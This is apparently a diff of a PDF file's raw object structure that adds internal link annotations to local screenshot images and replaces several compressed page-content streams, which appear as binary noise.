+g%hfyh4?s3zB`.0^T3H%cd v˹pUS6rG?/?_Kcu3Ks㩞kcAI%0lRFMy9Ff0! Yng+/}"gQ!}۠TRG'#Zs)i0ͳ,E hi3NZl1ҥz2m[.YxmŧJa.)sw H v$E荦2vNufV JȽMyt"*SݨbIGهf%pDhBqFBϙEAblS?A땲O|W#@i$m'H9$rCz=FI1x8ء$#;sA4?]!<ⷳ[-:k)>'P%v yD/`^ x΢ۏ~r`f٧M;iPKJìp]ݾyt`E$>>t`^8K#ljޤ=nX僔ȫQEx-ˍihQv%!ɂ#f4 V{9T<h2~I #nlIz -endstream -endobj -895 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 894 0 R +/Contents 893 0 R /Resources 4 0 R +/Annots [ 895 0 R 896 0 R 897 0 R 898 0 R 899 0 R 900 0 R 901 0 R 902 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +895 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 286.886457 720.773622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite0.png) +>> +>> +endobj 896 0 obj << -/Filter /FlateDecode -/Length 2947 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 720.773622 297.637795 705.759222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite0.png) +>> >> -stream -x\͎SRb  Y`6$ 9xO`7Y--{=l,V}0 Ys8*;n.?7rkg}884 r߾?oyRλto?}wDPv]_&@6"lx/`ph(Yjg9HyC1'{ڨhV/o}_.o K{r~× -'%?B8F#Vfy|ލ6\ǹys>g vʽzݖ*\ڊr1kR}GG{U"9_#v6Ĕ?(Ӳ6ɶ)U0|*8yR [Ls45ܯUHγ]Im6\;#iNɡkBEzx=&>$>';uR񂎕V]̱$KKp@2}d5} F-M:M?G y!K޺a' -C[=)QFCʃq>r.d_zBR/U<V׏pVEx(5ԘL}4u]\MɕعNyQwnd9p܎O@۔(UESL?wt+dJ14+'#ACQxei>&!8 Ӓ-U\Y,WV_8Nn~/1#S@!Z{K{Qب|ͳr̢@~!͸D. y֥\RNCyxium)_),beDqcPzϜv-EsۉrS͹)5̏SuWL5'_R( 99)Kgln- -8tR fMD%rLoK2HAMk#!s!s:r6F -R뷳DYSºS*NcAG︝lJ-7HZ(-CYAʹT(NH1l!N1!5Vֈ|M[θ U3pz;C8Δ>y'«3Nރ] -[E0's}HbЎ8#vXU2)cdXh7Mƙ;(>>Lڧlns~f郍KlY͞@F5@z;sVEsRsW[DwkY#z8?# Yfg؝ BC%i-|}9mIkn˘L A8F~'C#"E9V=_7 4|D1 (Zhsv+ks©%^"9mĪEFSչ06wG.p} +IcUSFG^U*㭡^:EX v3["`hesYQyXiE4;V5jdڝf/]L n7@Ӕb9,+-dj`e;sIIo([|}7+N}rF}R*Z;h6@Dƕ"e(VC -nRlG 9nAw/5ıqŗ 4w:ɣ.Q3n6GsW)ʢrbŪxWXs8aZZy0^u5%#g*9_lFpL8ND:agπ( OWkF-+beUk䝅3&q2}^! ejZ(T~Y9E麊]#ó],9FNqS,9vbn=YKS"SX oH:"~ʵ%0Gw-Xz^Ӷ5IͭWWbZ~501sOףmKO@`4Bk2*3E0Z2qn~v9Pʆ=? t8R3qi pK8aX~~]7Hjw^o^.g0xs=0Fer2mP -f!6_|y,5;ٜ`88 -6.s{qe]zc͐vI8G)-w`tp7.樰,(-TtP!afVpmO{߃~;uۇjӤ/%2d x7 )LLLM+ 6yw2\NlGWoK#_^2ݧJ7e?]o.ވQѳC*1}o{D`T`ӏ$.A> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite1.png) +>> >> endobj 898 0 obj << -/Filter /FlateDecode -/Length 1313 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 638.194422 273.386457 590.944422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite1.png) +>> >> -stream -xY͎6 )Ւ(Q`aPq%e98ĉM)H kw(_0|ݼT_*0@^!7K墉l u3#:"DNAn?*LDȱF=Շ?[mev=w>D"TmEC@DҭqTR֦jt@m*Bc֤G~Lp逼׺7\Eyz.ɶ>uS6,N-,"@b+l."!ǗLJ_~cE? NB{Ry~ Q&B_ȸ`=зl -M£ᩝOsw0B^^ mN3wh\a)TC.r涷Dd/q=#/2m.}Z(J|]AV ƫPj6o -juU![<4@]fnm큽z<7 FxOFjYICt}X &EY$H?_O3isޟM' -'1?kzOiƻ$-)$)|'.Ⓧ,"'{bs5Z2s,+wR0bfsnQ֏X+Y3^rPd#AbֵGޱP3b0s ;ll ̧ 9ќ3!#'NSeĖVM,3Ex7XE,)0\0)$c4f8(ET -u]l -Y~7;&L@FJU|֝!ͩ: &,K-?P'; vXw]JCBGk;> D^(2Bbt#pټF0A_q'qÜЪZ;kp :zJv w{c lXn%?U -endstream endobj 899 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 898 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 590.944422 297.637795 575.930022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite1.png) +>> >> endobj 900 0 obj << -/Filter /FlateDecode -/Length 2668 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 508.365222 39.386457 493.350822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite2.png) +>> >> -stream -x\KϯP|TI@X br:v`;% - )nvHCv1ڞj>U:K(᜷˧%/|2VXكgPJjDc1Ҟ9t)+u':;{RB SM? *}V|M )DR,h)(`5fcS4fU .LoXAϑ,z ]c!-qR*PHkgIф;+wk}$\o=ľSKy3Ưi2;MQڇk1}>#a1AB'D ,a W*#G2da" f(1&єD5M-\ij!CY}ItZKR&)&B܀ij(&$׎F?5yJ\&Dznxe5pxp50Fu7-O݃CU^ Ii5yךPQ'|"x7cu`ΡPaO;Jd ̘4!jZ'$ζP*oi&׹44T&oMF}YgJ TV*S 4^ӵλ$L\,]XLtg3I+q rAЮ° -iM`CA,GN2wVNVLf`4}!s!ʽM͢GC#ĸ\Zn -vU\ZXupqp̃k,dg0_[քk YK!~lRpB̖͜S_$B}ԖC  ? H|z:MN,}lYq=󓂢KBR^-a挎;%vz,(C(L[xXc4ܧM`m~ ݧjB[Kڥ`Fs.ǵ@n|Y~m_.מ8Q Wذb` ڲ -4x)nn Z-㼧6dj-F^{4ݎbVhb+aɃ<-ΌV J%HzmMk`;(P)!<ImAeZ=[ëHI!Y чt}Ic-.IG:ˊH -|}-iINײZV\ud\zÌBSN4֦@4:3SZ. ƆRZ_X1g׫m1 Q3`85nf;5i/9b gxaBξkK> -e5-#8 jY[>MΕ"/mŀZZ_hg^0txM%4t1 ꓓY՟^e4ƣ|:A%*'8\1 sGzQmVOT,q+9'M՟nN2CjUJM`>Y^Hzax修<81'۟7zxX[<Ь'H66}| U:g2y -f%,+|s9XkӤalMLgk 5L},ƈ7y%Ϋ!Nq-VE3X3dd9Fw<cMjrxdTFQN/o! -kUs OWy̍|M<y'$B-c:$E]felH왘K(sv]ni=e,)I?Ϸ:3/ L:.i/h3>h7xJiH(NF ^J -c׶pt7ZRъm8B)3“ɷXۛ<, -뛯 -5ͻxM+< --AS^~+|7 -AXmlٵjEŰeCG7v4@a,2ce2 rKIQz6}Q} tFKH1WgQgwSL*ϯz-jjŧ)}|ȕO`rc^>?;䃲rܒ*HrofwӓX_wm>1> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite2.png) +>> >> endobj 902 0 obj << -/Filter /FlateDecode -/Length 763 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 463.365222 297.637795 448.350822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite2.png) +>> >> -stream -xVMo0 WL%)R@À@:d[ahziHYn`.Ħ%QԟR1p=4 (WR>_j{l|t1 fvFLȫ{'=ll|EbHsHb=9FݯfzW=] &`~޼؍' 308Df5j[5cddo\yb~znl|ͮu+\ί}0vsE'ڹ1Q~HcGK$%!!Ht2M4<4'~>o*%R6F7yU^=n.f ,Eu#\.9$tB#_WG̣>2qV-s- ZO[$Ě!4l{jTt}pߔ2+x{`-aHP0+<ж @oWoJVPp32mI $.- [-G)`~E(!|βZ{RẢVo-OFPS#j,M9. EbP -Q)YbY \Jח_]r -s(x]6b2^gvڇhǬ%UzJ5Y `W|^$jT54wC;$;@*4 7g#k*礳Ok}>9 e? -endstream endobj 903 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 902 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 2989 >> +stream +x\K#W&Y|9 lCIb ARdVY/V}U,:KQ"9_~9Iɛ_ j +UJI 8 ?O=K?+*`~E yW\hX 4k)?>TeYEZZ!O*+ϯ}STlq\g P^roc1-c~xm0-׏ywZrM~fk׊ڜ=vi?O>?\,$$0 +zX4/lą|-qBQ0?7*H2f +E:!tV+_QVZkTv,=]5X&A oɓB,D)u{bJШR+ٖDt[Us1 +}6ǚemjB_gWTdܦu[}:2devXGq\8}?c))5zRG0o'_cDc\m,%o2~aJd0=C߁C*Bt>7\|sou}$ HNg@!Vބo#F@@X +|CnX7TyW, 97ϋG`e]O@ȤA#=W 䤊I.={gnxC|=8c·aa` $*[d[l0B)=<*~^zVtAruTD}>e"㻧͵r&Lu#Wk,CvuoAtUD|)0YxzyTibah-O[ӎwedjax|v֥=\ wQS\qv+AW2SdH(Cv8$\]2:O L~ӱ,scZ 0|܌Shb""~_q؞!MehϐF(zdRFg[Cz2l~H`C$ƼI9!:m[tHc#tHc{Р-:e˱Y>u8v1]|ڥO1PWI}.uԬK9N#Qk^NDBgy󍧹L:0e[8ApKoIr_c%t0bMZ9~M*;ֻWfKmvD&Uഁaԉ[%drɕ|ߙE+0{ hwYX'|~ߙN+X6^;Nz 9CƩz|?(q0䭷$ڽR)!̤@~uǖÞ-UzHjI2Isz;s0xxf4X.c♲ؗw.4;'2]w&(6m֥~dJ"MyB\"L#t+]=D0SBn`rP~oe:9NPvBb?f +endstream endobj 904 0 obj << -/Filter /FlateDecode -/Length 1621 ->> -stream -xYK7ϯ!, ;8lb!WKjw .IUz|%iagPgy:<|:h化+X|Wr:S.tv -{arF"2LC)n@T&)>?<EP~e<8Jb?8`2Â_?51ajQ&&Z[Hؙbjeue}YL793 84;˘Y8 _xgX!&η?o䛣Q9 -2S5Cfr|k}Z!J(H#vbAa3CnC+LcP;NG; -a@s9~> (v9 +tSI"mŠާPT#ɚ{`D|f 샄NbzLn:PXtz۹6y7a6|NiŦ4vGdW:O/[ 1D1: Ex -ٳܬS&t*R_'g_jQ+У݂ZcrobE߾<&-tcVY Z.rEkB"S}y7;>Xg£b2TEh ݕo\{7V0Xe!ۡ)pXjS`nc[XYPBckDz j42B'Mh|sC`y*N"1.F-z Ct@oM֣hsnqg#~0s%v]J)쾲,D}}@ߧܶ'F-TK%{vsFa@ej!bԎpه'H|I>vuKiq(4+/N-ZӴsM::1g$ ])eB - kMn2ĊySVbNļ2"Q2I2*[nnՉQ{5NQz^sG` -=orpAŸx}tɰcs*W -endstream -endobj -905 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 904 0 R +/Contents 903 0 R /Resources 4 0 R +/Annots [ 905 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +905 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 261.036066 39.386457 246.021666 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition1.png) +>> +>> +endobj 906 0 obj << /Filter /FlateDecode -/Length 1657 +/Length 622 >> stream -xY݋6߿ρ*ь>Xh $-4ڤ>nБ,Yw8wtHHZ|, çV|%58C Eރ4!npx{`y7 *`=G;Pzx,&QH3L@AN4 2VbA 60BrhEf0Փ/gbDJ$ncig2un?߽ -1|{>y5#YiLK=m_cuB:_ -E$b4t˼9Ӆy7 V3H(We𰚲ؖ3orO>g68,eEg%{me *[)Obmm!oRZS#0ۓ}.Fq;ᨭ"07qb2dF\`RlU:somf?6ՋIiRAgу4皋%\ZcCRJ , ;f3m a44m eR[}~cյm\+*c:miG;HIm#je/l}B:<|96R6ʋ\֗Q6@__3B0Ok-㍒+|Zersyu$;x=ë`=م7[s(r.A=Iʉ -<ǣ.BA_t!dƱ%f -|&o ! +xUɎ0+x\.bi.#5 q-#f$N;r5`+MUprPZlK(rI4;!Di1%Qq1zJ\~ %R7YjRFH5I'Jzt!BόoxD , R35սYAObU2Wcz߰+IJ>$Q2||;m,˭Mp'&DؓPBTk0 yi($%e^=7FJ6N?wlB?tx^Y Ӝ2yK#x +Al*<!*K>vaRq\ /hZW_H/gr+aİw}ZZ^h*δ +٨kyfvncK˛gQqݼM^4ibߛ }=s u"lw `Qz$gO0TА`eJPL`^9uy?2BқZ3'p\jWWV0 gRZ< +In ;# ,zDnJ9Uo v endstream endobj 907 0 obj @@ -13518,134 +12669,141 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 906 0 R /Resources 4 0 R +/Annots [ 908 0 R 909 0 R 910 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 908 0 obj << -/Filter /FlateDecode -/Length 1339 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 294.611709 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition1.png) +>> >> -stream -xXmo6 _ 8`Cv$ h|}se. R#؃|AS/ c`Bb|q1bL}h ;"CgC"B =1{~Խޣ_ݝ(*op21QneK&qӈ?vfi^ fC6yŝacv~35Cx33[`M"Jb>(@& ^ۻo?ы0|u~q.vl Jb)DpI[WZxu[kdBaTAWaZ~W[j zBChƅ. eD$/6.E8IY"+(v ZrVyFs~􀯑9srOi!rQ7VlC/)<잔5.zC/ijcɢ?$/r ުܟd$"G}A8?Eڟfdq@]5h*_AZry0pʇ",ҸW֜&wPkіSs5m}6r8?fǢfO2LU_t@rz' G9KUl Ӂ #bqyv1r1õŵ˻|9?vڱC'{R(OrM#3'V`dQKf[O^Oo'8R#0(ZdR .YI h f -endstream endobj 909 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 908 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 294.611709 297.637795 279.597309 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition1.png) +>> >> endobj 910 0 obj << -/Filter /FlateDecode -/Length 2802 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 197.018109 39.386457 182.003709 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition0.png) +>> >> -stream -xێ_= X MM 4ŶIQa][`zHM%[h,vjď~E:xt|``0Ki8%>:[w4LHjJ׏>I0k ;m_o^9/9\j5HQ).n `?ЁS_WbjZ%kB3#HkC2L^+!z>f&j{?uR#@WR0w|/?}{/e|#Q,C/ңs= _~>7aj+2)kU{TǮ_M/hj+3PҦO 1 kHtpjti^KNٛVE:ƞ LrtPc]9״^=tD"3`,}.ZCt{-NS;oo\us >Y2eܕ$%d~5m)% w_;Rh}a7.&ONIJ });ا9anlWFu4I${$!u*~j0RJUn/=#&QJPQ^4 UjX,@5p#R3z|{sLl3HN^\;^c C|[&zYi@.95H7q8xQ jeπ GvTGj9r82 )͋].1(s8O\ -bmdܖ!`.d/xm'5h=e~ZT$v7Sdknh1Q o"bkTU}{`3Q13,qjΐ{O!σi UDCMNQ)rdT8T{r%,FMo`ܐ2 K*zyR0 TѳG^lZ%V\^yL<+-lLİ{o=h XJXd[ih %%wG"eOA$YSF6a@X{!.?LRH%S)- LR2N$Vuo ⵴oee7)e &81u1yOG{#S6w @_\g(}b(aH^hP=Wz䔊# -م[3vY̹R·qmC!UDyublU W:p%s8ov)nf;ޛN>LǭW^,8mpJ|SL{ u ՅtuZ`0KicUA9LYXdG 0z/D̽!B*SQnCnumiWh1x䅀&*3Ix3k rp)`L19%>"KsD V"K -sׅUswYwiq kו1]q跓N𖚻hzQDo%B̢ (G†@I\XWy"QBeV:?fu+%F Aa^V}U;"cZâڵNwăsӯ Pt-^H J[YJ^7FTh_&qތq̒tZP2,_. tzI@ 5u7@ΔfsƭezҰC6lexc4_fz稙j\)?ڭNFxuRa@0#'FrФ#E&Ӷ/H.!'7V'_\m j lH+F5pWjQrm0ЮjT"@H_ \:ݱ"i ^Y~C4uD rwـO i/[>+RM`Vy+)cvpz8)M2U|y# J-&()6K͌i>SYRذi?PTXN{\LJpBjJ)Z^|3?ǹQyU/FxZ8\"8SP28,ˠ[b2:"$fh$0[<`6 kkVٛZ8C8n֗QWW*og/]NAX -TO}$l wJa+p#c#q|>M=ewڿ`Q[ \*g#_W/wG25,n3_3ݼ:0{]t622!ciMs㨟c);G /ŴA+mBL^_r|(Tb2\݈gq -endstream endobj 911 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 910 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 743 >> +stream +xVn1 }ڹ؉<^*- 03t+sdB*\cORT W(CBdrj1=NكM?j +1RU==L73jP*'&Aɂa Ya 39vax[u=g\72"V&Z +ׇEt`SlFA"||[ Iӗt:-: ZhZf Iw4"osY\Sj9'm-yW}`vP}ax^?cG^R[Y[t +*eY+$aqbel|˂P U+⮧J]:бSqz ddxrj[pBДHtfq@ǎC@9,忀`hh٧JF`\q_{n8ʸ2Җ +endstream endobj 912 0 obj << -/Filter /FlateDecode -/Length 2941 ->> -stream -x][#~H-h"%+M&)ñ>m)@Cz3sv_(>*(ƣC?ul&;&A1#4hkѺ#D!?VJ?9)`!QJ tR߽!=\|E]U/ίځ& -"x.gy}~ԔkȆ|5a%Z9)_,Hǯ?_ BZmOccrBh_{>+L\WT[;G_CV6!R>j+\#_8XU፿}eQXeP2B*O&D{+s^^CFJ)SLJeEJ.m.J(,Iy;c= ['Gxv/jӬU'5)7kRHKu?w|򭀉ͯ@ۥu@+g/OEh<]vj6=A1z\캃И1hb#ұXιI4pN{0j,8$K eI  G$ytvΠ|U [pdB)cւwP-sx@e]A&T(DW,e 73˂F|2"t"==\i=JXlI7[- [BTMIKNs7xuoPdm67F"Yўy&B#vE>(?2WE+7uRG:e%)S T4 V(b4g %_1M%5kB!Uk[:Z8Ll \֢*b0c< 03%΁ KsE =ul/,9#(.CApǬs<1 oR2 |\QF p 0ݾ- -(YG)a_,;K_)ac}& e7 |Ϋm,۽HR4[y EqZ^n̖S:dR 4I5^`k *(/ &=.w@>Ҡ7M |8 -I7| -Ӯf+ )p "XmErpE#ofRt8B|#j4QjObaVO|<lß򢐔^SNm@\`ine>#Y/ȟwlC tO%?A -5 gjIҭs/U\iΨ6vSK|e*يnf'fV[kRN+|A0ZPﰩN,k׉ex港@v -A-Q-i,4>c$0** K Rq`a:duL#G>|ޕz@e S.}/3H(W kJ}eoaIJ-'U쾧0]'һ]Ì|`8a3ꔗ'z ;nnYL ->W0 -{b~{aA{lr Yqvnw[O۵D 4{@=[Sj{wotnl KXq+49>6ȾTg"p:ge"Kܙ^MG: rU p$i{o y( -`'X"Pa7D-.@Ɂ ze{WoDe0e:|6+}5e;FI=FƨaRx:HBr{C-{3/bUʨ+ڞ2AܾR1nDEk=/(6'HSΧݒd}2dNEw;h$57A<ct٥KٲxX9 y(+Yspv`ig&qTڟ%amP!8s楤]ϧƁ"j!>n*b}lg͚h:Źe4,X]6V@G rcX9xVjE%]X-nڥfiu=/TҺ$j؊>f| ϋ@džS -Y\ 7vR/-q6*#۝t͹:ubr;mAKUF9bpK4umε3^on7fz9w,m!|T^&aa5VVfFqn5Y-kɀs&zSv4S7o1W[J$jjӝ?|F tMZ5Z k o/PKJ}<[كSwsf"Nq×a×q? '&^bP$7:uP> endobj +913 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 297.840524 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition0.png) +>> +>> +endobj 914 0 obj << -/Filter /FlateDecode -/Length 1849 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 297.840524 297.637795 282.826124 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition0.png) +>> >> -stream -xZK6 ϯBJbi{H}E\I?PJdhi݉3cO1oss= ,'7|}>(+'iΡE'A*nTJV -Co:; J)qz^_>Q/4-_>k/<-DtD(c=R:0x:Z=ZVi:Q@ͳrucm\Ejkom VH>pa[߲{T;*3-;}|=6(x -oVLIШ8 6Hs46*OB8m*h`{ru -{'/h likO`Ц-,OѮ:iC%tmZ}?K'"(Lj&'u?Of$籅.-sL/gH3Z;48U\qLSy;R u|`$9 -wHLyOtj^0[/"}@,6ڶJ KEQ~㑍߿2s2c: 6`2vLAmP QdZx MԦ~ p9w;jJ>(?NVJ}l&3D,i޼sBRvѸ uz2݇H#d?"{[Hq@JBgT**hvWת=q_N GZyBvh-DOQhbOѓx|PWv}KA8'yt3.x.ЮeU5`.l@^vg9k\kAk -V124sOu* P `ȅtwLڰz >)pB[Gyپ]|iܝeUKt qux\gec؞#$]X!Ǚ#*:EjH*ڍE9L_Kx/SC#̩KѥHN3Cޱ _51'kR2dy\fbIcς)% ma}ahZkgN9P/$g, iV0f־dLƆ/^"B~OU55ZYzfɲ߅L+/772@o wX!uų*=l ~ F8kewynC̤Hsn| 4ab -zhi>!PrQT\C@eWG_Ӵ}HAfFHU瘙w_Yc 2u,W0WsZ<-W8m: -6ڨqbf`A7K’QU#AUe -=b*JV?5.Q9Z;&gW2st1-Ţ!SIid]p*zjTI 'Tlv>NW:<1K BA<&'Q3O(E-X -InZY-.;<`;w @ox[g*6'/|f`|~w*凎0Xb1U/f1oSp"NqC+xu0HAg0I%v,qKhE]xt/Y/]L?|*[?Z){k|? -endstream endobj 915 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 914 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 151.450124 39.386457 136.435724 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition2.png) +>> >> endobj 916 0 obj << /Filter /FlateDecode -/Length 2857 +/Length 739 >> stream -x\K ׯA H & k 0%[~H]!pKD>*W8//|}h ֓9JR -Pk Z//?^q `^T -Hz(Ԑϗw^Lh 5ZH$Uב z)>+VS񬗢o͢U|f>62 -ޭ,j0be  X," $i%˻?_U.=_^^ V{p=DP Uۘ/~0q.Vf*%z0[iˏ4z?~!My"|]tsY%ۍ@ro`?c +I|ՂS3pԱPތFE>eʡK0"@D4.J@ ƓP|L~>uP?w&MD -8F*!ىHfD-.SNޫĝX%}M\Jґ3>y AogBS%H#Q9Qe3A"fByVWT($)I1KNb}f*,}@|GڹRhbnVQ'kߣ^>2/gJrE*ƤGm.ێ{˦D[ʪ(a @<,s\(1e@x8Xk"jFRGss^VV`ѤC3c4_N*+ڴEgCD0m8 F*!bb!@bGmx"h W0$b]9Km4P[FI2u  b)+0&2җ /cg^] -0$uIWD->}FUaDՉ+v$ko$_:@;NP.A ʠ`w B# Z+,ǹwrc}C|ݿPnxmlոXv){0Tih1acue0KvS fb;"k*Z[JU&QhXx6Z1{HscsnVYiAq>c|/tj Y!s/oEE2.Y7W'@ca{yŅ bd]ب v=A$LKz.:_w{K -&'LF; Lܧ>kTl0pDv{ -UL.sd΅&' V@H5A -h b9F_XW6&= lkYw AvifE~3 e}e[q|pz!X- TiZ#NWĈz^5E7x6:#!1Or5!)Cx}uAJbA65DK9x*ö -9 pU)R6w^UF>NI:-v,ƱIuY`0oO[ +g&@ln/3YhfE:Y FFvKK\܄WG ij#ch$X 9COӆmdfr۟ yތ?ӌ{ES/AIG =(aurHH'[ZYVߟh9j 'jvz"3ױ ʵ؜SbN(F?uz9 c\}HjoBo'ğ+-wϙNbWQB3deR[dd;PQJ+yC_ ir#@`?%UKlUO3.ot4fڐ8 ^֖f0=% B6m pHOԼF0sJ0=|ZkVVwœ% ؟]j8ah|goB -qz56z%PgxAP[6x%si [G0WҶ?Edl U640rڵ4J<+9i&mgu $@*U @vK#nbҲ?TP翁^V.C{yr! !MtfeL8iFӎIq\宁)ք2-\ݚ yZpd7De'O^<GMgXf7{6\5TF`ioV_f:^}+}<څwrHSLK-)\n5*$}O~b#ycy6j)[}$7_/,oj!Edd8}Ӈ`EzPėh#.Zojc; >q243~dd`5 xAF{^ ֥12csHjtbLkOLJ? +xUMo1{,E9 PT + qH6ي/1cN +EB{1+?`JNߧٌNxBɔh#P18cc.i1.f2eE(P,x?:skZ8QK/Ȧ\P>& +̟+1pc<6K| O8gSt\HɼYA7*g+yS,x(Pa_b& xր"nl!lm1@&H>՚,$"Hm sxs}Rh#Fs1~Ow6گDx( ȣM8.d. +JT<< //9N?؀J΀^K=ܫ0b{"U{qP5V憅&}B!o7B v& +W}PUk%.HPyz?ze3.8Oňmn> endobj 918 0 obj << -/Filter /FlateDecode -/Length 2430 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 291.606646 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition2.png) +>> >> -stream -x\ݮ#SRE4HJbIR ^mݼ7nqsΙxz4UE}ݰނ>/_wZ1iK%.?Yq nރ{AQEԼuݿwzXk0F)}|(?445U^{yAZb aEKRknnu֕`GRaḰ79+c6@Y-_o??a}PHnԝZמ:˝ȷn$^-dC2CB蕱!ֆ@={]ȯ88VRRqFԅH%f?2"V<2wk*]v#W~:&%ہ>(d"lCH4oM&O&+1:n̝6ezs'p@9P@PWG#7Dci@nD"O -Ju,*>MQ9̻!Kcfd>7z,Rr܃2 -p?̩?{z/+v,\P }L`%у2*fn^㽒0EING+EW0PTij^Yd̡<`V: -hSAJ oEeƿYja1,ht!].ʣfxnOEUQqz1NJ!.tKtD^ȬDa\鲃KH_ 뇔;Ҟط{VI|bQ^)Ź)l/D5/2.' nXؠ9|ճsж+9%?'\M+ʢ[Y0ԕ (Ia^eFKL'׋yJѺb珗.:>[qOVLU$br؟Cmaԓ̸fKߏ,[ dA^H2L?V(L\oHظllD$q{Z$d`:#H#Bk{W -35(Zo V5~vnfomoy2l:NuYȲb(Wa1W`nN$ۺ= -sG w!(bDZTuT< Χ}g3H3ݠb,0sI)9L7tD@{89@!YXO;VnY ЃЦv.D&m!Y'Act:f<ԶB 6 _fm*}m\3Me&Ta~N$gQ~:ڷԾ䬜rm#6N)j[4dB1*|֒&/] 66!w7B 49uAڃQw50(;wژ`ah3V [FΖ丹R r؂H[Sw;¼Qogލ-ϖ[6 mL vݲamgClwlZ̼e[=grʡ1;'R}xhZ0UF+ yV9tsYVX !j+k^ -,g~۠ -S -O^[=rwYܩmy6<OP|2;Nʹ:zSB2&]ec@M=NryRAH7@?~TY+^.s{yQ>ݨ㝔YR H/DY~<\7%ʾzvW }+ʷ+^ZJ1^aZ%7DH^@ވGDzڌ;|p؆0&z&YqzX?0H 5pT;^HZBVw7kҬ@;.48lq,F((6C> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TextRecognition2.png) +>> >> endobj 920 0 obj << -/Filter /FlateDecode -/Length 1567 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 160.230646 39.386457 145.216246 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/720PTsunoda.png) +>> >> -stream -xZKo6(3Ùr(HC -=؛\I?!EZZYbdE]Ӓ7 -;w !zOqjt o|]pb1DDF|t!w肤إh{ Ko}W&ʄϺU^_yO$뼍t9s`(էZpXkkeR{<Qq'ףFmY }][w̺KڍY✱1":N{x3gkZcՏU1 ^(#A9g40Z7֝PC` VKЂZ > +stream +xUMo1 ϯ Nj8.8T cv2VU;&{ _ `cLL?Y!cRo(Vya 1BLF ZQ'-D'4|~ ^ZqN-AHy< W#Xg ևEPѲu%(`2,d:z W?cCb?&>d2~ +gyoX10It?~@F۵po:z/ (PvuL-jm2=jFmj:[ӅL}# A>;X= +h<XRީ΍c/R}f" Lě +wl Cs 7x/^7EB +e+\HT +|FgwX|P=ON xK,kHSȁVŅ^J`Yb&ZwL2.( f_UuVŷtJvYς_Ԯsϒe_;i%ۧ*䜚|^{&3)iltir۞RimPJ}ɨkhHZLE2>#Kp]t̤KlnMwYzްGFȒeZ3J-FtsOΤ\x!@Ndc.\qƇ]VzUropru͹Lqn +endstream endobj 922 0 obj << -/Filter /FlateDecode 